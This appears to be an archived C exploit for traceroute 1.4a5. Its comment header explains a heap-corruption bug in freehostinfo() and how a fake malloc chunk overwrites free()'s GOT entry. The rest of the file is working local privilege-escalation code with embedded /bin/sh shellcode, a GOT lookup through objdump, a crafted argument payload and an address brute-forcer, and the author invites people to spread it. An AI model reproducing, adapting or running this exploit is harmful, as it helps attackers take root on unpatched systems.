home *** CD-ROM | disk | FTP | other *** search
- /*
- * exploit for traceroute 1.4a5 by sorbo (sorbox@yahoo.com)
- *
- * WARNING: NOT PRIVATE!!! DISTRIBUTE EVERYWHERE ;D
- *
- * Advisory: Chris Evans
- *
- * Vulnerability class: malloc chunks
- *
- *
- * The problem is in the implementation of freehostinfo(). To be exact, free(hi->name); is the problem.
- * hi->hname is allocated via savestr() from gethostinfo().
- *
- * savestr() is a clone of strdup but uses less mallocs. It allocates one chunk and returns pointers withing that chunk.
- * The problem is that freehostinfo assumes savestr acts as strdup, so it free()'s all pointers. Only one pointer will
- * actually be malloc()ed (the first host), the others will just be pointers in that heap area. Thus, when these other
- * pointers are free()ed, the application will segfault (because of an invalid malloc chunk... since there never was one).
- *
- * ie: traceroute -g 1 -g 2 will segfault.
- *
- * This because only space for 1 is malloced, whereas 2 has "allocated space" within the space of 1 (which is allocated with
- * 1024 bytes and not only 17 or something).
- *
- * The idea is to create a valid memory chunk for the second host and another free memory chunk (so consolidation may occur)
- * thus overwriting memory (free's GOT) to point to our shellcode (in argv or something).
- *
- *
- * This is the memory initially (in bytes):
- *
- * [ hostinfo: 16] [ STRPTR: 1032 ] [ADDR 16 ]
- *
- * After the first round of free's:
- * [ hostinfo: 16] [ ADDR2 16 ]
- *
- * notice that we have control over the STRPTR area and there is an aditional pointer which will be free()d now that
- * lies in the STRPTR area (which is now "free").
- *
- * we need to create a fake chunk (one that seems allocated) for that second pointer (which is our second ip).
- * This is how the "strptr" area looks like before the free
- * [IP1:x ] [0] [IP2:x] [0]
- * [ADDR2:16]
- *
- * We are interested in the 4 bytes before IP2 (size field of memory chunk).
- * MSB will be 0.
- * ADDR will overwrite IP1 (exactly 4 bytes and then pad with 0's).
- * if we choose IP1 of length 7 (including null byte, eg:1.2.34), this will be structure of STRPTR:
- *
- * [IP1:6] [0] [IP2:x] [0]
- * [ADDR2:4][0:12]
- *
- * The 8 bytes before IP2 (the chunk header) will be:
- * [HI:1] [ADDR2:4] [0:3]
- *
- * This means that size will be determined by the last byte of the second ip.
- *
- * ADDR2 is allocated 16 bytes, thus
-
- * We can set this to 16 (minimum chunk size) eg:1.2.3.17 (17 because we want PREV_INUSE set).
- *
- * This means that 8 bytes from the start of the second addr, free will expect another chunk header.
- * that is EXACTLY after the ip address (we need to put a space here and fortunately space is even ascii code)
- * so the prev_size will be even. All we do is set an even prevsize, -4 size, free GOT addr - 12 in fd and argv[5] (shellcode)
- * addr in bg
- *
- * and... root =D
- *
- */
-
-
-
-
- #include <stdio.h>
- #include <unistd.h>
- #include <sys/wait.h>
-
-
- char shellcode[] =
- /* jump around (effectivly like a "nop space" /2) */
- "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
- "\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a\xeb\x0a"
-
- /* NOPS */
- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
-
- /* the Aleph One shellcode */
- "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
- "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
- "\x80\xe8\xdc\xff\xff\xff/bin/sh";
-
-
-
- #define TRACEROUTE "/usr/sbin/traceroute"
-
- #define OBJDUMP "/usr/bin/objdump"
-
- /* ojbdump traceroute | grep free */
- unsigned int FREE = 0; /* free() GOT address */
-
- /* ltrace traceroute (and u have a starting addr to start guessing from ;D ) */
- unsigned int SHELLCODE = 0; /* argv[5] of traceroute */
-
- char *env[] = { NULL };
-
- void usage(char *m) {
- printf("Usage: %s [options]\n",m);
- printf("-h\t\t\tthis lame message\n");
- printf("-f <addr>\t\tfree() GOT addr\n");
- printf("-s <addr>\t\ttraceroute's argv[5] addr\n");
- printf("-b\t\t\tbrute force argv[5] addr\n");
- printf("-n\t\t\tdon't test vuln\n");
- exit(0);
- }
-
- void bruteforce(char *arg[], unsigned int *addr) {
- int pid;
- int status;
-
- printf("Starting brute force from %x incrememting 1 byte each time\n",*addr);
- printf("If it hangs... ur probably close ;D try skipping the value\n");
-
- while(1) {
- pid = fork();
- if(pid < 0) {
- perror("pid()");
- exit(-1);
- }
-
- /* child */
- if(pid == 0) {
- execve(TRACEROUTE,arg,env);
- perror("execve()");
- exit(0);
- }
- /* parent */
- else {
-
- printf("Trying = %x\n",*addr);
-
- wait(&status);
- if(WIFEXITED(status) != 0)
- break;
- (*addr)++;
- }
- }
- printf("Done...\n");
- exit(0);
- }
-
- /* yes very lame n skript kiddie ;D */
- unsigned int getGOT(char *symb) {
- int pid;
- int fd[2];
- char buf[1024];
- char *arg[] = { "/bin/sh", "-c", buf, NULL };
- unsigned int addr = 0;
-
- snprintf(buf,1024,"%s -R %s | grep %s",OBJDUMP,TRACEROUTE,symb);
-
- printf("Attempting to fetch free() addr (make sure u got objdump)\n");
-
-
- if(pipe(fd) <0) {
- perror("pipe()");
- exit(0);
- }
-
- pid = fork();
- if(pid < 0) {
- perror("fork()");
- exit(0);
- }
-
- /* child */
- if(pid == 0) {
- dup2(fd[1],1);
- dup2(fd[1],2);
- close(fd[0]);
- close(fd[1]);
- execve("/bin/sh",arg,env);
- perror("execve()");
- exit(0);
- }
- /* parent */
- else {
- int rd;
-
- close(fd[1]);
-
- rd = read(fd[0],buf,1024);
- if(rd < 1) {
- perror("read()");
- exit(0);
- }
- buf[rd] = 0;
- sscanf(buf,"%x",&addr);
- wait(NULL);
- }
- printf("Adress %x... does it sound good !?!?! ;D\n",addr);
- return addr;
- }
-
- void checkVuln() {
- int pid;
- char *arg[] = { TRACEROUTE, "-g", "1","-g","1",NULL };
-
- pid = fork();
- if(pid < 0) {
- perror("fork()");
- exit(0);
- }
-
-
-
- /* child */
- if(pid == 0) {
- execve(TRACEROUTE,arg,env);
- perror("execve()");
- exit(0);
- }
- /* parent */
- else {
- int status;
- printf("Checking vuln...\n");
- wait(&status);
- if(WIFEXITED(status) != 0) {
- printf("NOT VULN!! override with -n\n");
- exit(0);
- }
- }
-
- printf("VULN!\n");
- }
-
- int main(int argc, char **argv) {
- unsigned char egg[1024]; /* hope we don't overflow it ;D no bounds check!!! */
- unsigned int *ptr;
- int opt;
- int checkvuln = 1;
- int brute = 0;
- char *arg[] = { "exploited", "-g","1.2.34","-g",egg,shellcode,NULL };
-
- printf("Traceroute v1.4a5 exploit by sorbo (sorbox@yahoo.com)\n");
-
-
- while( (opt = getopt(argc,argv,"f:s:hbn")) != -1) {
- switch(opt) {
- case 'f':
- if(sscanf(optarg,"%x",&FREE) != 1) {
- printf("Invalid free addr\n");
- exit(-1);
- }
- break;
-
- case 's':
- if(sscanf(optarg,"%x",&SHELLCODE) != 1) {
- printf("Invalid free addr\n");
- exit(-1);
- }
- break;
-
- case 'b':
- brute = 1;
- break;
-
- case 'n':
- checkvuln = 0;
- break;
-
- default:
- case 'h':
- usage(argv[0]);
- }
- }
-
- if(checkvuln)
- checkVuln();
-
- /* ok all we need to construct is the second "ip" address */
- strcpy(egg,"1.2.3."); /* start normal ;D */
-
- /* SIZE OF FIRST CHUNK */
- strcat(egg,"17"); /* 16 length... 17 so we set previnuse (we don't want to consolidate backwards */
-
-
- /* PREVSIZE OF FREE CHUNK */
- strcat(egg," "); /* by putting a space inet_addr will not fail and we can fill up with bullshit */
- strcat(egg,"sex"); /* the space of before filled the LSB of the prevsize which we want even.. don't
- * care about rest
- */
-
-
- /* SIZE OF FREE CHUNK */
- ptr = (unsigned int*)(egg+strlen(egg));
- *ptr = -4; /* -4 so when it checks for is PREV_INUSE set for the "next" chunk it will actually check
- * our freechunk's prev_inuse
- */
- ptr++;
-
- /* FD OF FREE CHUNK */
- if(FREE == 0)
- FREE = getGOT("free");
- *ptr = FREE-12;
- ptr++;
-
- /* BK OF FREE CHUNK */
- if(SHELLCODE == 0)
- SHELLCODE = 0xC0000000 - strlen(TRACEROUTE) - strlen(arg[5]) -6; /* stack is argv[5] 0 traceroute 0 NULL */
- *ptr = SHELLCODE;
- ptr++;
-
- *ptr = 0; /* the end */
-
-
- printf("Lets ride...\n");
- if(brute)
- bruteforce(arg,ptr-1);
-
- printf("Trying %x\n",SHELLCODE);
- execve(TRACEROUTE,arg,env);
- perror("execve()");
-
- }
-
-